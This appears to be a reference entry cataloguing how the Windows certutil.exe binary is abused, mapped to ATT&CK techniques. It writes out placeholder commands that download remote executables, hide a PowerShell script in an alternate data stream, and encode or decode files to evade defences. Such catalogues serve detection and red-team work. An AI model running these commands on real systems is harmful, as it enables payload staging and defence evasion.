.. /Certutil.exe
Windows binary used for handling certificates
Paths:
C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe
Download
Download and save an executable to disk in the current folder.
certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}
Use case Download file from Internet
Privileges required User
Operating systems Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique T1105
Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash] when not.
certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
Use case Download file from Internet
Privileges required User
Operating systems Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique T1105
Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash].
certutil.exe -URL {REMOTEURL:.exe}
Use case Download file from Internet
Privileges required User
Operating systems Windows 10, Windows 11
ATT&CK® technique T1105 Tags Application: GUI
Alternate data streams
Download and save a .ps1 file to an Alternate Data Stream (ADS).
certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
Use case Download file from Internet and save it in an NTFS Alternate Data Stream
Privileges required User
Operating systems Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique T1564.004
Encode
Command to encode a file using Base64
certutil -encode {PATH} {PATH:.base64}
Use case Encode files to evade defensive measures
Privileges required User
Operating systems Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique T1027.013
Decode
Command to decode a Base64 encoded file.
certutil -decode {PATH:.base64} {PATH}
Use case Decode files to evade defensive measures
Privileges required User
Operating systems Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique T1140
Command to decode a hexadecimal-encoded file.
certutil -decodehex {PATH:.hex} {PATH}
Use case Decode files to evade defensive measures
Privileges required User
Operating systems Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique T1140